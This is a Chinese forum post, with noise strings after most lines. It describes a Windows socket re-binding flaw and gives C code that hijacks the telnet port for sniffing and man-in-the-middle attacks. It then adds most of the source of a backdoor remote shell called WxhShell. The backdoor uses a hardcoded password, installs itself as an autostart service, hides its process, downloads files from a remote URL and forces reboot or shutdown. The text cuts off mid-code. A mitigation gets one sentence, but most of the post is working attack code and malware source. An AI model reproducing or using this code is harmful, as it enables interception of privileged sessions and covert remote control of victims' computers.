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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 14jN0\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w6WPfy(/2  
)%3T1 D/  
  saddr.sin_family = AF_INET; o. ;Vrc  
X2rKH$<g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ] _5b   
!8| }-eFY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7(N+'8  
<aDZ{T%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G\TO ]c  
%^vT7c>  
  这意味着什么?意味着可以进行如下的攻击: I[d<SHo  
]JV'z<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]bY]YNt{7]  
$Ery&rX.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ovBmo2W/  
xLDD;Qm,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -Ou.C7ol  
r$}C<a[U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m!ueqV"  
upL3M`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 stBe ^C  
Z0m`%(MJa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sA77*T  
v{fcQb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ii-AE L  
y& 1@d+Lf  
  #include ?1a9k@[t  
  #include % hvK;B?Y|  
  #include Jk6}hUH,  
  #include    \m G Y'0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $2L6:&.P,  
  int main() L/V^#$  
  { });Rjg  
  WORD wVersionRequested; jWv'`c  
  DWORD ret; Np/\ }J&IF  
  WSADATA wsaData; Zo yO[#  
  BOOL val; -4& i t:  
  SOCKADDR_IN saddr; NX.xE W@  
  SOCKADDR_IN scaddr; %&| uT  
  int err; R]iV;j|  
  SOCKET s; ,1$F #Eh  
  SOCKET sc; `+"(GaZ  
  int caddsize; y{>f^S<  
  HANDLE mt; ?! 6Itkg  
  DWORD tid;   tmooS7\a  
  wVersionRequested = MAKEWORD( 2, 2 ); gtZmBe=  
  err = WSAStartup( wVersionRequested, &wsaData ); |f#hGk6  
  if ( err != 0 ) { pX?3inQP%(  
  printf("error!WSAStartup failed!\n"); -6HwG fU  
  return -1; xI{4<m/0N  
  } q`b6if"  
  saddr.sin_family = AF_INET; x9 %=d  
   '2H?c<Y3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \`2'W1O  
'#Au~5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =I@t%Y  
  saddr.sin_port = htons(23); "4)N]Nj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "+- 'o+  
  { K+F"VW*?  
  printf("error!socket failed!\n"); 0)332}Oh  
  return -1; z qo0P~  
  } D3X4@sM  
  val = TRUE; L ,dh$F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d*0 RBgn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `KFEzv  
  { 8b)WOr6n  
  printf("error!setsockopt failed!\n");  JhFbze>  
  return -1; -}|L<~  
  } KBmOi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  % D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O {1" I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iM)K:L7d  
:_~.Nt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QL WnP-  
  { LV^^Bd8Ct  
  ret=GetLastError(); v$|~ g'6  
  printf("error!bind failed!\n"); c MXv  
  return -1; qTr P@F4`g  
  } m-vn5OX  
  listen(s,2); K)7T]z`  
  while(1) e~N&?^M  
  { -AdDPWn  
  caddsize = sizeof(scaddr); 0\P5=hD)K  
  //接受连接请求 >.d/@3 '  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o$sD9xx  
  if(sc!=INVALID_SOCKET) %o0b~R  
  { si]VM_w6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fo.Y6/}  
  if(mt==NULL) %8FfP5#  
  { =9GA LoGL  
  printf("Thread Creat Failed!\n"); Q&eyqk   
  break; :o>=^N  
  } zjQ746<&)i  
  } g X!>ef  
  CloseHandle(mt); x#D%3v"l_*  
  } p"ZvA^d\   
  closesocket(s); K381B5_h  
  WSACleanup(); -e/}DGL  
  return 0; wUv?;Y$C  
  }   hG?y)g\A  
  DWORD WINAPI ClientThread(LPVOID lpParam) | ys5.|  
  { H5}61JC/z  
  SOCKET ss = (SOCKET)lpParam; 'f\9'v  
  SOCKET sc; g"m' C6;  
  unsigned char buf[4096]; K ze?@*  
  SOCKADDR_IN saddr; fp' '+R[   
  long num; {EoYU\x  
  DWORD val; nK1eh@a9Qv  
  DWORD ret; 0K%okq|n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NP T-d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dLiiJ6pl*  
  saddr.sin_family = AF_INET; tYu<(Z(l)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'x*C#mt  
  saddr.sin_port = htons(23); bY" zK',m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xsZG(Tz  
  { x77L"5g  
  printf("error!socket failed!\n"); V*jl  
  return -1; )QE6X67i  
  } r&]XNq'P9  
  val = 100; Qn*l,Z]US  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -V/y~/]J  
  { _z@/~M(  
  ret = GetLastError(); NfV|c~?d  
  return -1; v-}f P  
  } EN!C5/M{&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g,Ob/g8uc  
  { .q9Sg8G  
  ret = GetLastError(); E>bkEm  
  return -1; 5whW>T  
  } pU7;!u:c4%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v`A)GnNiN  
  { |OH*c3~r  
  printf("error!socket connect failed!\n"); r mX*s} B  
  closesocket(sc); ,a #>e  
  closesocket(ss); }dkXRce*  
  return -1; Y) sB]!hx  
  } ):$KM{X  
  while(1) OcT Wq  
  { YEu+kBlcQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^4n#''wJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U@OdQAX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QLY;@-jF$  
  num = recv(ss,buf,4096,0); CvU$Fsb  
  if(num>0) ?Y4 +3`\x  
  send(sc,buf,num,0); tbS hSbj  
  else if(num==0) Cn~VJ,l g  
  break; LYD iqOrx  
  num = recv(sc,buf,4096,0); 4 Ej->T.  
  if(num>0) TKB8%/_p  
  send(ss,buf,num,0); \3JCFor/  
  else if(num==0) 1 /M^7Vb.  
  break; 3FiK/8mu  
  } /vSGmW-*  
  closesocket(ss);  d$$5&a  
  closesocket(sc); q} e#L6cM  
  return 0 ; >(RkoExO/  
  } !Cr3>tA  
:^)?AO#J  
aopPv&jY  
========================================================== 5P!ZGbG  
/e2zH  
下边附上一个代码,,WXhSHELL \ S;[7T  
}yT/UlU  
========================================================== OJ&'Z}LB  
w;O-ATUzN  
#include "stdafx.h" jFN0xGZ  
#]}Ii{1?Y  
#include <stdio.h> Kv@P Uzu  
#include <string.h> `+,?%W)  
#include <windows.h> L`nW&; w'  
#include <winsock2.h> a=MN:s?Fc0  
#include <winsvc.h>  0s;~9>  
#include <urlmon.h> ]o] VS  
Lz 1.+:Ag  
#pragma comment (lib, "Ws2_32.lib") w/#7G\U  
#pragma comment (lib, "urlmon.lib") o/{`\4  
' [$KG  
#define MAX_USER   100 // 最大客户端连接数 * :L"#20:R  
#define BUF_SOCK   200 // sock buffer Z<X=00,wg  
#define KEY_BUFF   255 // 输入 buffer eK7A8\;e  
y0xBNhev  
#define REBOOT     0   // 重启 ~0PzRS^o  
#define SHUTDOWN   1   // 关机 :!aLa}`@  
A%D 'Z85 -  
#define DEF_PORT   5000 // 监听端口 !aT:0m$:9c  
nah?V" ?Y  
#define REG_LEN     16   // 注册表键长度 ,WyEwc]  
#define SVC_LEN     80   // NT服务名长度 ._rPM>B?  
'4'Z  
// 从dll定义API mx9vjW fy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s@Q7F{z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rj=as>6B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c,1  G+.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }b2YX+/e$f  
v2x+_K}J  
// wxhshell配置信息 }b1G21Dc!  
struct WSCFG { [c B^6v  
  int ws_port;         // 监听端口 H'WYnhU&  
  char ws_passstr[REG_LEN]; // 口令 /9_%NR[  
  int ws_autoins;       // 安装标记, 1=yes 0=no l#[Z$+!09  
  char ws_regname[REG_LEN]; // 注册表键名 AS;Sz/YP  
  char ws_svcname[REG_LEN]; // 服务名 yY#h 1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EXSJ@k6=8s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }c8nn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _^_3>}y5op  
int ws_downexe;       // 下载执行标记, 1=yes 0=no og";mC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xT> 9ZZcE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )BJkHED{  
6:8s,a3&[k  
}; mqZK1<r  
hV@ N -u^  
// default Wxhshell configuration : #a  
struct WSCFG wscfg={DEF_PORT, ZxtO.U2  
    "xuhuanlingzhe", v< P0f"GH  
    1, ta?NO{*  
    "Wxhshell", #da{3>z:  
    "Wxhshell", 9 dNB _  
            "WxhShell Service", gAqK/9;  
    "Wrsky Windows CmdShell Service", 63E6nW M  
    "Please Input Your Password: ", $#rkvG_w  
  1, qm=U<'b^  
  "http://www.wrsky.com/wxhshell.exe", h3`}{ w  
  "Wxhshell.exe" !=YEhQ-  
    }; ?|ZbQz(bL  
utmJ>GWSI  
// 消息定义模块 GFFwk4n1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7^i7U-A<A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {~9zuNi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $NR[U+  
char *msg_ws_ext="\n\rExit."; xb\EJ1M>  
char *msg_ws_end="\n\rQuit."; ]T)N{"&N/  
char *msg_ws_boot="\n\rReboot..."; HO<|EH~lu  
char *msg_ws_poff="\n\rShutdown..."; I(M/ X/  
char *msg_ws_down="\n\rSave to "; uX-^ 9t  
=d Q[I6  
char *msg_ws_err="\n\rErr!"; uGZGI;9f4  
char *msg_ws_ok="\n\rOK!"; xgxfPcI  
 T7nI/y  
char ExeFile[MAX_PATH]; _*H Hdd5I  
int nUser = 0; CR$wzjP j  
HANDLE handles[MAX_USER]; \ ITd\)F%N  
int OsIsNt; ec ;  
zTc;-,  
SERVICE_STATUS       serviceStatus; /phMrL=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !; >s.]  
=DdPwr 0Op  
// 函数声明 Rrh6-]A  
int Install(void); %np(z&@wi  
int Uninstall(void); "s|P,*Xf  
int DownloadFile(char *sURL, SOCKET wsh); K+)3 LR^  
int Boot(int flag); ?kR1T0lKkE  
void HideProc(void); NFTv4$5d  
int GetOsVer(void); WVR/0l&bU  
int Wxhshell(SOCKET wsl); a{xJ#_/6  
void TalkWithClient(void *cs); [7}3k?42X  
int CmdShell(SOCKET sock); {dxFd-K3  
int StartFromService(void); tMw65Xei6b  
int StartWxhshell(LPSTR lpCmdLine); 4FzTf7h^  
9D14/9*(dU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JtO}i{A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); },d^y:m  
K~d'*J-  
// 数据结构和表定义 ymm]+v5S.]  
SERVICE_TABLE_ENTRY DispatchTable[] = \:+\H0Bz  
{ :!_l@=l  
{wscfg.ws_svcname, NTServiceMain}, 8gavcsVE[  
{NULL, NULL} PE5*]+lW.  
}; .F,l>wUNe  
DinZ Z  
// 自我安装 &.E/%pQ`  
int Install(void) lG-B) F  
{ <}lah%4F  
  char svExeFile[MAX_PATH]; [2,D]e  
  HKEY key; #HV5M1mb  
  strcpy(svExeFile,ExeFile); r[(;J0=  
Gy \ ]j  
// 如果是win9x系统,修改注册表设为自启动 (l%?YME  
if(!OsIsNt) { }<~(9_+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H{n:R *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); no8\Oees  
  RegCloseKey(key); "_&ZRcd*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y$>NsgQn6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Pe xtj<  
  RegCloseKey(key); E0I/]0  
  return 0; _]@u)$  
    } cD]H~D}M  
  } DY#195H  
} w4P;Z-Cd  
else { }Hb0@ b_  
/)kJ iV  
// 如果是NT以上系统,安装为系统服务 2V]a+Cgk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \i+AMduAo  
if (schSCManager!=0) by+xK~>  
{ LilK6K  
  SC_HANDLE schService = CreateService B:X%k/{  
  ( S"*k#ao  
  schSCManager, sg=G<50i  
  wscfg.ws_svcname, xxs +=.2  
  wscfg.ws_svcdisp, %l8!p'a  
  SERVICE_ALL_ACCESS, Pd+*syOM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ oav-R&  
  SERVICE_AUTO_START, D]_6OlIE#'  
  SERVICE_ERROR_NORMAL, <cOjtq,0  
  svExeFile, VHPqEaR  
  NULL, D SX%SE)  
  NULL, }>M\iPO.]*  
  NULL, ^1~lnD~0  
  NULL, Z-lhJ<0/Pa  
  NULL kcUn GiP  
  ); k.b=EX|  
  if (schService!=0) %~:\f#6  
  { LCSvw  
  CloseServiceHandle(schService); G%k&|  
  CloseServiceHandle(schSCManager); :xHKbWz6j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8o+:|V~X  
  strcat(svExeFile,wscfg.ws_svcname); hdWVvN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8?8V;   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <lR:^M[v5<  
  RegCloseKey(key); {J)%6eL?  
  return 0; 2OpA1$n6  
    } C)c*s C5N  
  } )PvnB=wy  
  CloseServiceHandle(schSCManager); 7 q!==P=  
} $(gL#"T  
} C$0u-Nx8  
bM"?^\a&Q  
return 1; AmC9qk8Q  
} [R1|=kGU  
qqo#H O  
// 自我卸载 2H w7V3q  
int Uninstall(void) A{4,ih"5  
{ ]d[e  
  HKEY key; lusUmFm'*  
Pk;/4jt4  
if(!OsIsNt) { |J4sQ!%K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g4k3~,=D3  
  RegDeleteValue(key,wscfg.ws_regname); V'#R1x"3  
  RegCloseKey(key); 7k,BE2]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q)9n%- YgP  
  RegDeleteValue(key,wscfg.ws_regname); 2FaCrc/  
  RegCloseKey(key); fZpi+I  
  return 0; J:"@S%gy%  
  } <[n:Ij  
} /&|p7  
} . q -: 3b  
else { Odwf7>  
9QX!HQ|5y8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'k]~Q{K$  
if (schSCManager!=0) eYP^.U)  
{ p*5_+u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1K#[Ef4  
  if (schService!=0) OqS!y( (  
  { !&Q?ASJH  
  if(DeleteService(schService)!=0) { "P?O1  
  CloseServiceHandle(schService); 1#c Tk  
  CloseServiceHandle(schSCManager); i`e[Vwe2x@  
  return 0; ROn@tW  
  } iJE:>qOTD5  
  CloseServiceHandle(schService); { i6L/U.  
  } } r(b:}DN  
  CloseServiceHandle(schSCManager); ;^bfLSWm{  
} 7omHorU+  
} ),vDn}>  
d)V8FX,t  
return 1; s}". po]  
} D'u7"^=  
l0^cdl-  
// 从指定url下载文件 u; KM[FmK  
int DownloadFile(char *sURL, SOCKET wsh) LDEc}XXb  
{ ~b*]jZwT  
  HRESULT hr; /0qbRk i  
char seps[]= "/"; YFS6YA  
char *token; riOaqV  
char *file; MvZa;B  
char myURL[MAX_PATH]; L,.~VNy-  
char myFILE[MAX_PATH]; jZ-s6r2=  
q/zU'7%@  
strcpy(myURL,sURL); %w[Z/  
  token=strtok(myURL,seps); q=->) &D%  
  while(token!=NULL)  s&pnB  
  { <A=1]'1\r  
    file=token; &*" *b\  
  token=strtok(NULL,seps); LA_{[VWYp>  
  } \~A qA!)6  
^CLQs;zXE  
GetCurrentDirectory(MAX_PATH,myFILE); s !?uLSEdb  
strcat(myFILE, "\\"); L(C`<iE&3  
strcat(myFILE, file); ;AJQ2  
  send(wsh,myFILE,strlen(myFILE),0); 8Yk*$RR9  
send(wsh,"...",3,0); U!-Nx9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nS3Aadm  
  if(hr==S_OK) d/yF}%0QI  
return 0; NjZ~b/  
else ^wWbW&<Tg  
return 1; 2<B'PR-??y  
11"r FZ  
} q 0F6MAXj  
fWq*Op.]c  
// 系统电源模块 V:L%GWU  
int Boot(int flag) .e0)@}Jv8>  
{ bKmwXDv'  
  HANDLE hToken; b9X*2pnWJ  
  TOKEN_PRIVILEGES tkp; XEA5A.uc  
5z 0VMt  
  if(OsIsNt) { G`n $A/9Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /a^ R$RHl'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8 5ET$YV  
    tkp.PrivilegeCount = 1; tXtNK2-1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f%.Ngf9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [HY r|T  
if(flag==REBOOT) { MAkr9AKb,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^K"BQ~-w  
  return 0; $O*@Jg=  
} cg3}33Z;6  
else { 1b1Ab zN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =W3 K6w  
  return 0; rWL;pM<  
}  iiQn/%  
  } -JgNujt#9  
  else { M]r?m@)  
if(flag==REBOOT) { _Z[0:4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z5$Q"Y.D  
  return 0; A`Dx]y  
} HQm_ K0$  
else { ?MRY*[$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p}JOiiHa  
  return 0; I<940PZ  
} Tp;W4]'a*:  
} 4{kH;~ z$  
PX|@D_%Y=  
return 1; c$V5E t  
} nte?a e  
K#Ck,Y"  
// win9x进程隐藏模块 lcZ.}   
void HideProc(void) DO80HS3ZD  
{ =|agW.l  
`?Q p>t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (|^m9v0:  
  if ( hKernel != NULL ) b&F9<XLqq  
  { CfU|]<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;Z{D@g+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #3qeRl  
    FreeLibrary(hKernel); A0)^I:&  
  } z/{X{+Z  
\nZB@u;S  
return; =Hd yra  
} n6% `  
uAPVR  
// 获取操作系统版本 :82h GU  
int GetOsVer(void) 2 DW @}[G  
{ v3-' G gM  
  OSVERSIONINFO winfo; B}d&tH2^s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }'x;J   
  GetVersionEx(&winfo); GkJcd;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3^y(@XFt  
  return 1; z l r !   
  else k3#'g'>yh  
  return 0; 0ae8Xm3J@R  
} f(5(V %  
p +i 1sY  
// 客户端句柄模块 W91yj:  
int Wxhshell(SOCKET wsl) 5X!-Hj  
{ kMQ /9~  
  SOCKET wsh; rz"$zc.)  
  struct sockaddr_in client; 5YD~l(,S1]  
  DWORD myID; +Dy^4p?o  
iT-coI  
  while(nUser<MAX_USER) *V6| FU  
{ '{d@Gc6.  
  int nSize=sizeof(client); B'}?cG]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p)IL(_X)  
  if(wsh==INVALID_SOCKET) return 1; y>a?<*Y+e  
y'_8b=*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ym6d'd<9(  
if(handles[nUser]==0) {.:$F3T  
  closesocket(wsh); $6"(t=%{  
else /d3Jd .l!  
  nUser++; MoIh =rw  
  } *1dDs^D#|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~sk p}g]  
v=N?(6T  
  return 0; Py)ZHML  
} >aVgI<  
]b4IO4T  
// 关闭 socket $,4h\>1WP  
void CloseIt(SOCKET wsh) WkTJ M  
{ {6'X z  
closesocket(wsh); L|'^P3#7`  
nUser--; >pU9}2fpT  
ExitThread(0); I/dy^5@F  
} !ZBtXt#P  
w"^h<]b  
// 客户端请求句柄 W'[V$*  
void TalkWithClient(void *cs) 'h*jL@%TT  
{ p>B2bv+L  
8 t5kou]h  
  SOCKET wsh=(SOCKET)cs; 11=$] K>  
  char pwd[SVC_LEN]; 'X?xn@?  
  char cmd[KEY_BUFF]; jo`ZuN{  
char chr[1]; _VrY7Mz:r  
int i,j; PXb$]HV  
iEvQ4S6tD  
  while (nUser < MAX_USER) { n<ZPWlJ  
,>  zEG  
if(wscfg.ws_passstr) { ||Zup\QB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9@ tp#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V%s g+D2  
  //ZeroMemory(pwd,KEY_BUFF); 8+F5n!  
      i=0; Kw -SOFE  
  while(i<SVC_LEN) { 4yl{:!la  
isZ5s\  
  // 设置超时 "D(Lp*3hj&  
  fd_set FdRead; `R[Hxi  
  struct timeval TimeOut; }E 'r?N  
  FD_ZERO(&FdRead); _Iy\,<  
  FD_SET(wsh,&FdRead); 8%[pno |0I  
  TimeOut.tv_sec=8; @Wu-&Lb  
  TimeOut.tv_usec=0; L:G#>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `%C-7D'?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -#|D>  
q A)O kR'm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cr1x CPJj  
  pwd=chr[0];  ?%,NOX  
  if(chr[0]==0xd || chr[0]==0xa) { P$)g=/td1  
  pwd=0; }s}g}t8v-  
  break; $T'!??|IF  
  } 6Z2,:j;  
  i++; Wq1>Bj$J8  
    } `3+i.wR  
g68p9#G  
  // 如果是非法用户,关闭 socket )[Y B&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mayJwBfU  
} lE:g A,  
#oUNF0L@6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VeoG[Jl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2xI|G 3U  
XjX  
while(1) { R?{+&r.X  
F/>_PH57  
  ZeroMemory(cmd,KEY_BUFF); Wl j&_~  
h@:K=gg K  
      // 自动支持客户端 telnet标准   Zj`WRH4  
  j=0; :KLXrr  
  while(j<KEY_BUFF) { uw)7N(os\`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ym%UuC3^w  
  cmd[j]=chr[0]; Ni,nQ;9  
  if(chr[0]==0xa || chr[0]==0xd) { uDF;_bli)H  
  cmd[j]=0; '%NglC[J  
  break; AU{"G  
  } fr@F7s5}  
  j++; 9njwAKF?  
    } !gsvF\XDM  
H];B?G';C  
  // 下载文件 rd%%NnT"  
  if(strstr(cmd,"http://")) { *IG$"nu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5(1:^:LGK  
  if(DownloadFile(cmd,wsh)) -3I3 X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gz[yD ~6a  
  else aB9!}3@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ud1M-lY\U  
  } .Eao|;  
  else { \CbJU  
w:~*wv  
    switch(cmd[0]) { C-'hXh;hQ  
  {1W:@6tl  
  // 帮助 ccD+AGM.  
  case '?': { WyL+HB}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fnw:alWr  
    break; Ha'[uEDb  
  } yIMqQSt79z  
  // 安装 P]_d;\ !"v  
  case 'i': { 2eT?qCxqc  
    if(Install()) dUI5,3*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'D\Q$q  
    else )Fw/Cu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E~'mxx~i  
    break; x(_[D08/TT  
    } K =g</@L6R  
  // 卸载 t}EM X9SQ  
  case 'r': { qe~x?FO_>  
    if(Uninstall()) wp[Ug2;G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bDI%}k9#  
    else Gr"CHz/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G0cG%sIl  
    break; Tkbao D  
    } .])prp8  
  // 显示 wxhshell 所在路径 NFK`,  
  case 'p': { eI #Gx_mg  
    char svExeFile[MAX_PATH]; APQq F/  
    strcpy(svExeFile,"\n\r"); =OVDJ0ozZ  
      strcat(svExeFile,ExeFile); G#M)5'Q]U  
        send(wsh,svExeFile,strlen(svExeFile),0);  C0rf  
    break; !40>LpL[  
    } !3ggQG!e  
  // 重启 d[ N1zQW  
  case 'b': { ~%TWF+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nla6QlFYn*  
    if(Boot(REBOOT)) [}RoZB&I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GK(CuwJe  
    else { U)S=JT~h  
    closesocket(wsh); 6_LeP9s )  
    ExitThread(0); 2Xb, i  
    } 6% D9;-N)  
    break; " qI99e  
    } p{FI_6db  
  // 关机 :|7#D,2  
  case 'd': { '`];=QY9pg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H=r-f@EOrI  
